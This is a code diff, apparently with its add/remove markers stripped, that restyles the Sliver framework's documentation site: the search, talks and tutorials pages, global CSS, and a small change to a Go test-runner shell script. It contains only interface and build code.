import { useSearchParams } from "next/navigation";
|
||||
import { useRouter } from "next/router";
|
||||
import React from "react";
|
||||
|
||||
export type SearchPageProps = {};
|
||||
|
||||
const createExcerpt = (markdown: string) => {
|
||||
return markdown
|
||||
.replace(/```[\s\S]*?```/g, " ")
|
||||
.replace(/!\[[^\]]*\]\([^)]*\)/g, " ")
|
||||
.replace(/\[([^\]]+)\]\([^)]*\)/g, "$1")
|
||||
.replace(/[#>*_`~|-]/g, " ")
|
||||
.replace(/\s+/g, " ")
|
||||
.trim()
|
||||
.slice(0, 240);
|
||||
};
|
||||
|
||||
const SearchPage: NextPage = (props: SearchPageProps) => {
|
||||
const router = useRouter();
|
||||
const search = useSearchContext();
|
||||
const query = useSearchParams().get("search");
|
||||
const query = useSearchParams().get("search")?.trim() || "";
|
||||
const { data: docs, isLoading } = useQuery({
|
||||
queryKey: ["docs", PREBUILD_VERSION],
|
||||
queryFn: () => fetchDocsContent(PREBUILD_VERSION),
|
||||
});
|
||||
|
||||
const docsSearch = React.useMemo(() => {
|
||||
const search = new SearchCtx();
|
||||
if (docs) {
|
||||
search.addDocs(docs);
|
||||
}
|
||||
return search;
|
||||
}, [docs]);
|
||||
|
||||
const searchResults = React.useMemo(() => {
|
||||
if (query) {
|
||||
return search.searchDocs(query);
|
||||
return docsSearch.searchDocs(query);
|
||||
}
|
||||
return [];
|
||||
}, [query, search]);
|
||||
}, [docsSearch, query]);
|
||||
|
||||
if (isLoading || !docs) {
|
||||
return <LoadingState />;
|
||||
}
|
||||
|
||||
return (
|
||||
<div className="px-4 pb-8 pt-4">
|
||||
<div className="mx-auto flex w-full max-w-5xl flex-col gap-4">
|
||||
<div className="text-3xl">
|
||||
Search: "{query?.slice(0, 50)}"
|
||||
<div className="text-sm text-gray-500">
|
||||
{searchResults.length} Results
|
||||
<>
|
||||
<Head>
|
||||
<title>{query ? `Search: ${query} · Sliver Docs` : "Search · Sliver Docs"}</title>
|
||||
</Head>
|
||||
<div className="mx-auto w-full max-w-5xl px-4 pb-20 pt-12 sm:px-6 lg:px-8 lg:pt-16">
|
||||
<header className="max-w-3xl">
|
||||
<p className="text-sm font-medium text-accent">Search the reference</p>
|
||||
<h1 className="mt-2 text-balance text-4xl font-semibold tracking-tight text-foreground sm:text-5xl">
|
||||
Find exactly what you need.
|
||||
</h1>
|
||||
<p className="mt-4 text-lg leading-8 text-muted">
|
||||
Search configuration, workflows, transports, extensions, and
|
||||
troubleshooting notes across the Sliver documentation.
|
||||
</p>
|
||||
</header>
|
||||
|
||||
<SearchField
|
||||
key={query}
|
||||
aria-label="Search documentation"
|
||||
className="mt-8 max-w-2xl"
|
||||
defaultValue={query}
|
||||
fullWidth
|
||||
onClear={() => router.push("/search")}
|
||||
onSubmit={(value) => {
|
||||
const nextQuery = value.trim();
|
||||
if (nextQuery) {
|
||||
router.push({ pathname: "/search", query: { search: nextQuery } });
|
||||
}
|
||||
}}
|
||||
>
|
||||
<SearchField.Group>
|
||||
<SearchField.SearchIcon>
|
||||
<FontAwesomeIcon icon={faMagnifyingGlass} />
|
||||
</SearchField.SearchIcon>
|
||||
<SearchField.Input placeholder="Search documentation…" />
|
||||
<SearchField.ClearButton aria-label="Clear search" />
|
||||
</SearchField.Group>
|
||||
</SearchField>
|
||||
|
||||
<div className="mt-10 flex items-end justify-between gap-4">
|
||||
<div>
|
||||
<h2 className="text-2xl font-semibold text-foreground">
|
||||
{query ? `Results for “${query.slice(0, 50)}”` : "Search results"}
|
||||
</h2>
|
||||
<p className="mt-1 text-sm tabular-nums text-muted">
|
||||
{searchResults.length} {searchResults.length === 1 ? "result" : "results"}
|
||||
</p>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
{searchResults.map((doc) => (
|
||||
<Card key={doc.name}>
|
||||
<Card.Content className="flex flex-col gap-3">
|
||||
<div className="flex flex-col gap-3 sm:flex-row sm:items-center">
|
||||
<span className="text-xl">{doc.name}</span>
|
||||
<div className="flex-1"></div>
|
||||
{searchResults.length > 0 ? (
|
||||
<div className="mt-5 grid gap-4">
|
||||
{searchResults.map((doc) => (
|
||||
<Card key={doc.name}>
|
||||
<Card.Header>
|
||||
<Card.Title>{doc.name}</Card.Title>
|
||||
<Card.Description className="mt-1 max-w-3xl leading-6">
|
||||
{createExcerpt(doc.content) || "Open this article in the Sliver reference."}
|
||||
{doc.content.length > 240 ? "…" : ""}
|
||||
</Card.Description>
|
||||
</Card.Header>
|
||||
<Card.Footer>
|
||||
<Button
|
||||
variant="ghost"
|
||||
onPress={() => {
|
||||
router.push({ pathname: "/docs", query: { name: doc.name } });
|
||||
}}
|
||||
>
|
||||
Open article
|
||||
<FontAwesomeIcon icon={faChevronRight} />
|
||||
</Button>
|
||||
</Card.Footer>
|
||||
</Card>
|
||||
))}
|
||||
</div>
|
||||
) : (
|
||||
<Card className="mt-5">
|
||||
<Card.Content className="flex flex-col items-start gap-3 p-8">
|
||||
<span className="flex size-10 items-center justify-center rounded-2xl bg-surface-secondary text-accent">
|
||||
<FontAwesomeIcon icon={faMagnifyingGlass} />
|
||||
</span>
|
||||
<div>
|
||||
<h2 className="text-lg font-semibold text-foreground">
|
||||
{query ? "No matching documentation" : "Start with a keyword"}
|
||||
</h2>
|
||||
<p className="mt-1 max-w-xl text-sm leading-6 text-muted">
|
||||
{query
|
||||
? "Try a command name, transport, feature, or a shorter phrase."
|
||||
: "Search for topics like staging, WireGuard, profiles, or extensions."}
|
||||
</p>
|
||||
</div>
|
||||
{query ? (
|
||||
<Button
|
||||
size="sm"
|
||||
variant="secondary"
|
||||
className="w-full sm:w-[150px]"
|
||||
onPress={() => {
|
||||
router.push(`/docs?name=${doc.name}`);
|
||||
}}
|
||||
variant="outline"
|
||||
onPress={() => router.push("/docs")}
|
||||
>
|
||||
Full Doc
|
||||
<FontAwesomeIcon icon={faChevronCircleRight} />
|
||||
Browse all documentation
|
||||
</Button>
|
||||
</div>
|
||||
|
||||
<Separator />
|
||||
|
||||
<div className="max-h-[200px] overflow-hidden">
|
||||
<MarkdownViewer markdown={doc.content} />
|
||||
</div>
|
||||
) : null}
|
||||
</Card.Content>
|
||||
</Card>
|
||||
))}
|
||||
)}
|
||||
</div>
|
||||
</div>
|
||||
</>
|
||||
);
|
||||
};
|
||||
|
||||
|
||||
@@ -1,7 +1,7 @@
|
||||
import Youtube from "@/components/youtube";
|
||||
import { faChevronRight } from "@fortawesome/free-solid-svg-icons";
|
||||
import { faArrowUpRightFromSquare } from "@fortawesome/free-solid-svg-icons";
|
||||
import { FontAwesomeIcon } from "@fortawesome/react-fontawesome";
|
||||
import { Accordion, Button, Card } from "@heroui/react";
|
||||
import { Accordion, Card } from "@heroui/react";
|
||||
import { NextPage } from "next";
|
||||
import Head from "next/head";
|
||||
import React from "react";
|
||||
@@ -21,7 +21,7 @@ type TalkSection = {
|
||||
|
||||
const workshopTalks: Talk[] = [
|
||||
{
|
||||
title:"Getting Started with Sliver v1.6",
|
||||
title: "Getting Started with Sliver v1.6",
|
||||
description: "Introductory workshop covering basics and new features.",
|
||||
url: "https://www.youtube.com/watch?v=IOiyXYp1lDc",
|
||||
},
|
||||
@@ -47,7 +47,7 @@ const generalTradecraftTalks: Talk[] = [
|
||||
title: "The Sliver C2 Framework",
|
||||
description: "General discussion of C2 design.",
|
||||
url: "https://www.youtube.com/watch?v=tkjMZuZ_8nw",
|
||||
}
|
||||
},
|
||||
];
|
||||
|
||||
const communityTalks: Talk[] = [
|
||||
@@ -100,81 +100,124 @@ const talkSections: TalkSection[] = [
|
||||
];
|
||||
|
||||
const TalksIndexPage: NextPage = () => {
|
||||
const [footerHidden, setFooterHidden] = React.useState<Record<string, boolean>>(
|
||||
{}
|
||||
);
|
||||
const actionButtonClassName =
|
||||
"ml-auto h-auto min-h-0 shrink-0 px-0 py-0 text-sm font-semibold [--button-bg-hover:transparent] [--button-bg-pressed:transparent] [--button-bg:transparent] [--button-fg:var(--warning)]";
|
||||
const [overlayHidden, setOverlayHidden] = React.useState<
|
||||
Record<string, boolean>
|
||||
>({});
|
||||
|
||||
const hideFooterFor = React.useCallback((url: string) => {
|
||||
setFooterHidden((prev) => (prev[url] ? prev : { ...prev, [url]: true }));
|
||||
const hideOverlayFor = React.useCallback((url: string) => {
|
||||
setOverlayHidden((current) =>
|
||||
current[url] ? current : { ...current, [url]: true },
|
||||
);
|
||||
}, []);
|
||||
|
||||
return (
|
||||
<>
|
||||
<Head>
|
||||
<title>Sliver Talks</title>
|
||||
<meta
|
||||
name="description"
|
||||
content="Sliver workshops, technical talks, and community videos."
|
||||
/>
|
||||
</Head>
|
||||
<div className="mt-6 px-4 pb-8 sm:px-6 lg:px-12">
|
||||
<Accordion
|
||||
allowsMultipleExpanded
|
||||
defaultExpandedKeys={["workshops", "general-tradecraft"]}
|
||||
hideSeparator
|
||||
className="px-0"
|
||||
>
|
||||
{talkSections.map((section) => (
|
||||
<Accordion.Item
|
||||
key={section.key}
|
||||
id={section.key}
|
||||
>
|
||||
<Accordion.Heading>
|
||||
<Accordion.Trigger>
|
||||
<span className="flex flex-col items-start text-left">
|
||||
<span className="text-lg font-semibold">{section.title}</span>
|
||||
<span className="text-sm text-muted">{section.description}</span>
|
||||
</span>
|
||||
<Accordion.Indicator className="ml-auto" />
|
||||
</Accordion.Trigger>
|
||||
</Accordion.Heading>
|
||||
<Accordion.Panel>
|
||||
<Accordion.Body>
|
||||
<div className="grid grid-cols-1 gap-4 sm:grid-cols-2 lg:grid-cols-9">
|
||||
{section.talks.map((talk) => (
|
||||
<div key={talk.url} className="sm:col-span-1 lg:col-span-3">
|
||||
<Card className="relative z-0 gap-0 overflow-hidden p-0">
|
||||
<Youtube
|
||||
className="w-full"
|
||||
url={talk.url}
|
||||
title={talk.title}
|
||||
onPlay={() => hideFooterFor(talk.url)}
|
||||
/>
|
||||
|
||||
{footerHidden[talk.url] ? null : (
|
||||
<Card.Footer className="absolute bottom-0 left-0 right-0 z-10 border-t border-white/20 bg-black/40 p-3 backdrop-blur-md">
|
||||
<div className="flex min-h-10 w-full items-center gap-4">
|
||||
<p className="min-w-0 flex-1 text-sm leading-snug text-white/80">{talk.description}</p>
|
||||
<Button
|
||||
variant="ghost"
|
||||
size="sm"
|
||||
className={actionButtonClassName}
|
||||
onPress={() => {
|
||||
window.open(talk.url, "_blank", "noopener,noreferrer");
|
||||
}}
|
||||
>
|
||||
Watch <FontAwesomeIcon icon={faChevronRight} />
|
||||
</Button>
|
||||
</div>
|
||||
</Card.Footer>
|
||||
)}
|
||||
</Card>
|
||||
</div>
|
||||
))}
|
||||
</div>
|
||||
</Accordion.Body>
|
||||
</Accordion.Panel>
|
||||
</Accordion.Item>
|
||||
))}
|
||||
</Accordion>
|
||||
<div className="relative overflow-hidden">
|
||||
<div className="sliver-grid-surface pointer-events-none absolute inset-x-0 top-0 h-72 opacity-35" />
|
||||
|
||||
<div className="relative mx-auto w-full max-w-7xl px-4 pb-20 pt-8 sm:px-6 sm:pt-10 lg:px-8 lg:pt-12">
|
||||
<header className="mb-6 max-w-3xl">
|
||||
<p className="text-sm font-medium text-accent">Talks & workshops</p>
|
||||
<h1 className="mt-1 text-balance text-3xl font-semibold tracking-tight text-foreground sm:text-4xl">
|
||||
Watch Sliver in the field.
|
||||
</h1>
|
||||
<p className="mt-3 max-w-2xl text-base leading-7 text-muted">
|
||||
Practical workshops, technical deep dives, and community sessions
|
||||
collected in one compact library.
|
||||
</p>
|
||||
</header>
|
||||
|
||||
<Accordion
|
||||
allowsMultipleExpanded
|
||||
defaultExpandedKeys={["workshops", "general-tradecraft"]}
|
||||
hideSeparator
|
||||
className="w-full px-0"
|
||||
>
|
||||
{talkSections.map((section) => (
|
||||
<Accordion.Item key={section.key} id={section.key}>
|
||||
<Accordion.Heading>
|
||||
<Accordion.Trigger>
|
||||
<span className="flex flex-col items-start text-left">
|
||||
<span className="flex items-center gap-2 text-lg font-semibold text-foreground">
|
||||
{section.title}
|
||||
<span className="text-xs font-normal tabular-nums text-muted">
|
||||
{section.talks.length}
|
||||
</span>
|
||||
</span>
|
||||
<span className="mt-1 text-sm text-muted">
|
||||
{section.description}
|
||||
</span>
|
||||
</span>
|
||||
<Accordion.Indicator className="ml-auto" />
|
||||
</Accordion.Trigger>
|
||||
</Accordion.Heading>
|
||||
|
||||
<Accordion.Panel>
|
||||
<Accordion.Body>
|
||||
<div className="grid grid-cols-1 gap-4 md:grid-cols-2 xl:grid-cols-3">
|
||||
{section.talks.map((talk) => (
|
||||
<Card
|
||||
key={talk.url}
|
||||
className="relative z-0 gap-0 overflow-hidden bg-black p-0 shadow-surface"
|
||||
>
|
||||
<Youtube
|
||||
className="w-full"
|
||||
url={talk.url}
|
||||
title={talk.title}
|
||||
onInteract={() => hideOverlayFor(talk.url)}
|
||||
onPlay={() => hideOverlayFor(talk.url)}
|
||||
/>
|
||||
|
||||
{overlayHidden[talk.url] ? null : (
|
||||
<>
|
||||
<div
|
||||
aria-hidden="true"
|
||||
className="pointer-events-none absolute inset-x-0 bottom-0 h-32 bg-gradient-to-t from-black/85 via-black/35 to-transparent"
|
||||
/>
|
||||
<div className="pointer-events-none absolute inset-x-3 bottom-3 z-10">
|
||||
<div className="flex items-end gap-3 rounded-2xl border border-white/15 bg-black/55 p-3 text-white shadow-xl backdrop-blur-xl">
|
||||
<div className="min-w-0 flex-1">
|
||||
<h3 className="text-sm font-semibold leading-snug text-white">
|
||||
{talk.title}
|
||||
</h3>
|
||||
<p className="mt-0.5 truncate text-xs text-white/65">
|
||||
{talk.description}
|
||||
</p>
|
||||
</div>
|
||||
<a
|
||||
href={talk.url}
|
||||
target="_blank"
|
||||
rel="noreferrer"
|
||||
aria-label={`Watch ${talk.title} on YouTube`}
|
||||
className="pointer-events-auto inline-flex min-h-9 shrink-0 items-center gap-1.5 rounded-xl px-2.5 text-xs font-semibold text-white no-underline outline-none transition-colors hover:bg-white/10 focus-visible:ring-2 focus-visible:ring-white/70"
|
||||
>
|
||||
Watch
|
||||
<FontAwesomeIcon
|
||||
className="text-[10px]"
|
||||
icon={faArrowUpRightFromSquare}
|
||||
/>
|
||||
</a>
|
||||
</div>
|
||||
</div>
|
||||
</>
|
||||
)}
|
||||
</Card>
|
||||
))}
|
||||
</div>
|
||||
</Accordion.Body>
|
||||
</Accordion.Panel>
|
||||
</Accordion.Item>
|
||||
))}
|
||||
</Accordion>
|
||||
</div>
|
||||
</div>
|
||||
</>
|
||||
);
|
||||
|
||||
@@ -3,14 +3,18 @@ import LoadingState from "@/components/loading-state";
|
||||
import { Tutorials } from "@/util/tutorials";
|
||||
import { PREBUILD_VERSION } from "@/util/__generated__/prebuild-version";
|
||||
import { fetchTutorials as fetchTutorialsContent } from "@/util/content-fetchers";
|
||||
import { faSearch } from "@fortawesome/free-solid-svg-icons";
|
||||
import {
|
||||
faChevronRight,
|
||||
faGraduationCap,
|
||||
faSearch,
|
||||
} from "@fortawesome/free-solid-svg-icons";
|
||||
import { FontAwesomeIcon } from "@fortawesome/react-fontawesome";
|
||||
import {
|
||||
Button,
|
||||
Card,
|
||||
ListBox,
|
||||
ScrollShadow,
|
||||
SearchField,
|
||||
Separator,
|
||||
} from "@heroui/react";
|
||||
import { useQuery } from "@tanstack/react-query";
|
||||
import Fuse from "fuse.js";
|
||||
@@ -70,13 +74,14 @@ const TutorialsIndexPage: NextPage = () => {
|
||||
}, [name, tutorials, visibleTutorials]);
|
||||
|
||||
const listboxClasses =
|
||||
"p-0 gap-0 divide-y divide-separator bg-surface overflow-visible rounded-lg shadow-sm";
|
||||
"flex flex-col gap-1 overflow-visible bg-transparent p-0";
|
||||
|
||||
const renderFilterInput = (className?: string) => (
|
||||
<SearchField
|
||||
aria-label="Filter tutorials"
|
||||
className={className}
|
||||
fullWidth
|
||||
variant="secondary"
|
||||
value={filterValue}
|
||||
onChange={setFilterValue}
|
||||
>
|
||||
@@ -99,87 +104,146 @@ const TutorialsIndexPage: NextPage = () => {
|
||||
return (
|
||||
<>
|
||||
<Head>
|
||||
<title>Sliver Tutorial: {name}</title>
|
||||
<title>{name ? `${name} · Sliver Tutorials` : "Sliver Tutorials"}</title>
|
||||
</Head>
|
||||
<div className="px-4 pt-4 lg:hidden">
|
||||
<label
|
||||
htmlFor="tutorials-mobile-selector"
|
||||
className="block text-sm font-medium text-foreground"
|
||||
>
|
||||
Select a tutorial
|
||||
</label>
|
||||
<div className="mt-2">{renderFilterInput()}</div>
|
||||
<select
|
||||
id="tutorials-mobile-selector"
|
||||
className="mt-3 w-full rounded-lg border border-separator bg-surface p-2 text-sm"
|
||||
value={name}
|
||||
onChange={(event) => {
|
||||
const selectedName = event.target.value;
|
||||
router.push({
|
||||
pathname: "/tutorials",
|
||||
query: selectedName ? { name: selectedName } : undefined,
|
||||
});
|
||||
}}
|
||||
>
|
||||
<option value="">Browse tutorials…</option>
|
||||
{mobileTutorials.map((tutorial) => (
|
||||
<option key={tutorial.name} value={tutorial.name}>
|
||||
{tutorial.name}
|
||||
</option>
|
||||
))}
|
||||
</select>
|
||||
</div>
|
||||
<div className="grid grid-cols-1 gap-6 lg:grid-cols-12 lg:gap-8">
|
||||
<aside className="hidden lg:block lg:col-span-3">
|
||||
<div className="sticky top-16 ml-4 flex flex-col gap-3">
|
||||
{renderFilterInput("mt-2")}
|
||||
<ScrollShadow className="max-h-[calc(100vh-6rem)] sliver-scrollbar overflow-y-auto pr-1 rounded-lg">
|
||||
<ListBox
|
||||
aria-label="Toolbox Menu"
|
||||
className={listboxClasses}
|
||||
onAction={(key) => {
|
||||
router.push({
|
||||
pathname: "/tutorials",
|
||||
query: { name: String(key) },
|
||||
});
|
||||
}}
|
||||
>
|
||||
{visibleTutorials.map((tutorial) => (
|
||||
<ListBox.Item
|
||||
key={tutorial.name}
|
||||
id={tutorial.name}
|
||||
textValue={tutorial.name}
|
||||
className="h-12 rounded-none px-3 first:rounded-t-lg last:rounded-b-lg"
|
||||
>
|
||||
{tutorial.name}
|
||||
</ListBox.Item>
|
||||
))}
|
||||
</ListBox>
|
||||
</ScrollShadow>
|
||||
<div className="mx-auto w-full max-w-[90rem] px-4 pt-8 sm:px-6 lg:px-8 lg:pt-10">
|
||||
<div className="mb-8 lg:hidden">
|
||||
<div className="flex items-center gap-3">
|
||||
<span className="flex size-9 items-center justify-center rounded-2xl bg-surface-secondary text-accent">
|
||||
<FontAwesomeIcon icon={faGraduationCap} />
|
||||
</span>
|
||||
<div>
|
||||
<p className="text-sm font-medium text-foreground">Tutorials</p>
|
||||
<p className="text-xs text-muted">Follow a guided workflow</p>
|
||||
</div>
|
||||
</div>
|
||||
</aside>
|
||||
<div className="px-4 pb-8 lg:col-span-9 lg:px-8">
|
||||
{name !== "" ? (
|
||||
<Card className="mt-2">
|
||||
<Card.Header>
|
||||
<span className="text-3xl">{name}</span>
|
||||
</Card.Header>
|
||||
<Separator />
|
||||
<Card.Content>
|
||||
<div className="mt-5">{renderFilterInput()}</div>
|
||||
<label
|
||||
htmlFor="tutorials-mobile-selector"
|
||||
className="mt-4 block text-sm font-medium text-foreground"
|
||||
>
|
||||
Tutorial
|
||||
</label>
|
||||
<select
|
||||
id="tutorials-mobile-selector"
|
||||
className="mt-2 w-full rounded-2xl border border-transparent bg-surface-secondary px-3 py-2.5 text-sm text-foreground outline-none focus:border-accent"
|
||||
value={name}
|
||||
onChange={(event) => {
|
||||
const selectedName = event.target.value;
|
||||
router.push({
|
||||
pathname: "/tutorials",
|
||||
query: selectedName ? { name: selectedName } : undefined,
|
||||
});
|
||||
}}
|
||||
>
|
||||
<option value="">Browse tutorials…</option>
|
||||
{mobileTutorials.map((tutorial) => (
|
||||
<option key={tutorial.name} value={tutorial.name}>
|
||||
{tutorial.name}
|
||||
</option>
|
||||
))}
|
||||
</select>
|
||||
</div>
|
||||
|
||||
<div className="grid min-w-0 grid-cols-1 gap-8 lg:grid-cols-[17rem_minmax(0,1fr)] lg:gap-10">
|
||||
<aside className="sliver-sticky-sidebar hidden border-r border-separator/70 pr-6 lg:block">
|
||||
<div className="flex h-full min-h-0 flex-col gap-5">
|
||||
<div className="flex items-center gap-3 px-1">
|
||||
<span className="flex size-9 items-center justify-center rounded-2xl bg-surface-secondary text-accent">
|
||||
<FontAwesomeIcon icon={faGraduationCap} />
|
||||
</span>
|
||||
<div>
|
||||
<p className="text-sm font-medium text-foreground">Tutorials</p>
|
||||
<p className="text-xs text-muted">
|
||||
{tutorials.tutorials.length} chapters
|
||||
</p>
|
||||
</div>
|
||||
</div>
|
||||
{renderFilterInput()}
|
||||
<ScrollShadow className="sliver-scrollbar min-h-0 flex-1 overscroll-contain overflow-y-auto pr-2">
|
||||
<ListBox
|
||||
aria-label="Tutorials"
|
||||
className={listboxClasses}
|
||||
selectedKeys={name ? [name] : []}
|
||||
selectionMode="single"
|
||||
>
|
||||
{visibleTutorials.map((tutorial) => (
|
||||
<ListBox.Item
|
||||
key={tutorial.name}
|
||||
id={tutorial.name}
|
||||
href={`/tutorials/?name=${encodeURIComponent(tutorial.name)}`}
|
||||
textValue={tutorial.name}
|
||||
className={`min-h-10 rounded-xl px-3 py-2 text-sm ${
|
||||
tutorial.name === name
|
||||
? "bg-surface font-medium text-foreground shadow-surface"
|
||||
: "text-muted"
|
||||
}`}
|
||||
>
|
||||
{tutorial.name}
|
||||
</ListBox.Item>
|
||||
))}
|
||||
</ListBox>
|
||||
</ScrollShadow>
|
||||
</div>
|
||||
</aside>
|
||||
|
||||
<div
|
||||
key={name || "tutorials-overview"}
|
||||
className="min-w-0 pb-16 lg:pr-4"
|
||||
>
|
||||
{name !== "" ? (
|
||||
<article className="mx-auto w-full max-w-4xl">
|
||||
<header className="mb-8 border-b border-separator/70 pb-8">
|
||||
<p className="text-sm font-medium text-accent">Tutorial</p>
|
||||
<h1 className="mt-2 text-balance text-4xl font-semibold tracking-tight text-foreground sm:text-5xl">
|
||||
{name}
|
||||
</h1>
|
||||
</header>
|
||||
<MarkdownViewer
|
||||
key={name}
|
||||
markdown={markdown || ""}
|
||||
demoteTopLevelHeading
|
||||
/>
|
||||
</Card.Content>
|
||||
</Card>
|
||||
) : (
|
||||
<div className="mt-8 text-center text-2xl text-foreground/90">
|
||||
Welcome to the Sliver Tutorials!
|
||||
<div className="mt-2 text-xl text-muted">
|
||||
Please select a chapter
|
||||
</article>
|
||||
) : (
|
||||
<div className="mx-auto w-full max-w-5xl pt-4 lg:pt-8">
|
||||
<h1 className="text-sm font-medium text-accent">
|
||||
Guided learning
|
||||
</h1>
|
||||
<p className="mt-4 max-w-2xl text-lg leading-8 text-muted">
|
||||
Follow practical walkthroughs covering setup, sessions,
|
||||
staging, pivots, scripting, and post-exploitation workflows.
|
||||
</p>
|
||||
|
||||
<div className="mt-10 grid gap-4 sm:grid-cols-2">
|
||||
{tutorials.tutorials.slice(0, 6).map((tutorial) => (
|
||||
<Card key={tutorial.name} className="h-full">
|
||||
<Card.Header>
|
||||
<Card.Title>{tutorial.name}</Card.Title>
|
||||
<Card.Description>
|
||||
Continue through this guided Sliver workflow.
|
||||
</Card.Description>
|
||||
</Card.Header>
|
||||
<Card.Footer className="mt-auto">
|
||||
<Button
|
||||
variant="ghost"
|
||||
onPress={() => {
|
||||
router.push({
|
||||
pathname: "/tutorials",
|
||||
query: { name: tutorial.name },
|
||||
});
|
||||
}}
|
||||
>
|
||||
Start tutorial
|
||||
<FontAwesomeIcon icon={faChevronRight} />
|
||||
</Button>
|
||||
</Card.Footer>
|
||||
</Card>
|
||||
))}
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
)}
|
||||
)}
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</>
|
||||
|
||||
@@ -6,14 +6,39 @@
|
||||
:root {
|
||||
--font-mono: "Fira Code", ui-monospace, SFMono-Regular, Menlo, Monaco,
|
||||
Consolas, "Liberation Mono", "Courier New", monospace;
|
||||
--sliver-navbar-height: 4rem;
|
||||
--sliver-footer-height: 4.75rem;
|
||||
}
|
||||
|
||||
/*
|
||||
Keep html as the single scrolling element. Setting overflow on both html
|
||||
and body breaks sticky sidebar behavior on docs/tutorial pages.
|
||||
*/
|
||||
/* Keep html as the single page scroller so content can pass beneath the shell. */
|
||||
html {
|
||||
overflow-y: scroll;
|
||||
scroll-padding-top: calc(var(--sliver-navbar-height) + 1.5rem);
|
||||
scroll-padding-bottom: calc(
|
||||
var(--sliver-footer-height) + env(safe-area-inset-bottom)
|
||||
);
|
||||
}
|
||||
|
||||
body {
|
||||
min-height: 100dvh;
|
||||
background:
|
||||
radial-gradient(circle at 12% -10%, color-mix(in oklab, var(--accent) 12%, transparent), transparent 28rem),
|
||||
radial-gradient(circle at 88% 4%, color-mix(in oklab, var(--surface-tertiary) 55%, transparent), transparent 26rem),
|
||||
var(--background);
|
||||
}
|
||||
|
||||
.sliver-page-content {
|
||||
padding-bottom: calc(
|
||||
var(--sliver-footer-height) + env(safe-area-inset-bottom)
|
||||
);
|
||||
}
|
||||
|
||||
.sliver-fixed-footer {
|
||||
padding-bottom: env(safe-area-inset-bottom);
|
||||
}
|
||||
|
||||
::selection {
|
||||
background: color-mix(in oklab, var(--accent) 32%, transparent);
|
||||
}
|
||||
|
||||
/* Fallback for engines that do not support scrollbar-gutter. */
|
||||
@@ -31,6 +56,22 @@ html {
|
||||
html {
|
||||
overflow-y: scroll;
|
||||
}
|
||||
|
||||
.sliver-sticky-sidebar {
|
||||
position: sticky;
|
||||
top: calc(var(--sliver-navbar-height) + 2.5rem);
|
||||
align-self: start;
|
||||
height: calc(
|
||||
100dvh - var(--sliver-navbar-height) - var(--sliver-footer-height) -
|
||||
env(safe-area-inset-bottom) - 3.5rem
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
@media (min-width: 768px) {
|
||||
:root {
|
||||
--sliver-footer-height: 3.5rem;
|
||||
}
|
||||
}
|
||||
|
||||
code,
|
||||
@@ -44,7 +85,7 @@ pre {
|
||||
|
||||
.sliver-scrollbar {
|
||||
scrollbar-width: thin;
|
||||
scrollbar-color: rgba(148, 163, 184, 0.7) transparent;
|
||||
scrollbar-color: color-mix(in oklab, var(--muted) 58%, transparent) transparent;
|
||||
scrollbar-gutter: stable;
|
||||
}
|
||||
|
||||
@@ -57,33 +98,35 @@ pre {
|
||||
}
|
||||
|
||||
.sliver-scrollbar::-webkit-scrollbar-thumb {
|
||||
background-color: rgba(148, 163, 184, 0.7);
|
||||
background-color: color-mix(in oklab, var(--muted) 58%, transparent);
|
||||
border-radius: 9999px;
|
||||
border: 2px solid transparent;
|
||||
background-clip: content-box;
|
||||
}
|
||||
|
||||
.sliver-navbar-glass {
|
||||
width: 100%;
|
||||
border-bottom: 1px solid var(--separator);
|
||||
background-color: color-mix(in oklab, var(--surface) 72%, transparent);
|
||||
-webkit-backdrop-filter: blur(18px) saturate(1.18);
|
||||
backdrop-filter: blur(18px) saturate(1.18);
|
||||
.sliver-grid-surface {
|
||||
background-image:
|
||||
linear-gradient(color-mix(in oklab, var(--separator) 35%, transparent) 1px, transparent 1px),
|
||||
linear-gradient(90deg, color-mix(in oklab, var(--separator) 35%, transparent) 1px, transparent 1px);
|
||||
background-size: 32px 32px;
|
||||
mask-image: linear-gradient(to bottom, black, transparent 92%);
|
||||
}
|
||||
|
||||
.sliver-armory-ghost {
|
||||
--button-bg: transparent;
|
||||
--button-bg-hover: rgb(109 40 217 / 0.16);
|
||||
--button-bg-pressed: rgb(109 40 217 / 0.24);
|
||||
--button-fg: #a78bfa;
|
||||
.sliver-terminal-frame .ap-wrapper {
|
||||
border-radius: 0 !important;
|
||||
}
|
||||
|
||||
.dark .sliver-scrollbar {
|
||||
scrollbar-color: rgba(79, 97, 125, 0.8) transparent;
|
||||
.sliver-asciinema-bottom-aligned .ap-wrapper {
|
||||
align-items: flex-end;
|
||||
justify-content: flex-start;
|
||||
}
|
||||
|
||||
.dark .sliver-scrollbar::-webkit-scrollbar-thumb {
|
||||
background-color: rgba(79, 97, 125, 0.8);
|
||||
.sliver-terminal-frame .asciinema-player {
|
||||
background: #111315;
|
||||
}
|
||||
|
||||
.sliver-asciinema-controls-hidden .ap-control-bar {
|
||||
display: none !important;
|
||||
}
|
||||
|
||||
.asciinema-player {
|
||||
@@ -94,3 +137,19 @@ pre {
|
||||
.asciinema-player .asciinema-terminal {
|
||||
max-width: 100% !important;
|
||||
}
|
||||
|
||||
.markdown-body {
|
||||
color: var(--foreground);
|
||||
}
|
||||
|
||||
.markdown-body :where(h2, h3, h4) {
|
||||
scroll-margin-top: calc(var(--sliver-navbar-height) + 1.5rem);
|
||||
}
|
||||
|
||||
@media (prefers-reduced-motion: reduce) {
|
||||
*,
|
||||
*::before,
|
||||
*::after {
|
||||
scroll-behavior: auto !important;
|
||||
}
|
||||
}
|
||||
+31
-8
@@ -125,19 +125,29 @@ run_test_cmd() {
|
||||
should_skip_package() {
|
||||
local pkg="$1"
|
||||
local tags="${2:-}"
|
||||
local go_list_cmd=(go list -e -f '{{if .Error}}{{.Error}}{{end}}')
|
||||
if [ -n "$tags" ]; then
|
||||
go_list_cmd+=("-tags=$tags")
|
||||
fi
|
||||
go_list_cmd+=("$pkg")
|
||||
|
||||
local go_list_error
|
||||
go_list_error="$("${go_list_cmd[@]}" 2>/dev/null || true)"
|
||||
local test_file_counts
|
||||
if [ -n "$tags" ]; then
|
||||
go_list_error="$(go list -e -f '{{if .Error}}{{.Error}}{{end}}' "-tags=$tags" "$pkg" 2>/dev/null || true)"
|
||||
test_file_counts="$(go list -e -f '{{len .TestGoFiles}} {{len .XTestGoFiles}}' "-tags=$tags" "$pkg" 2>/dev/null || true)"
|
||||
else
|
||||
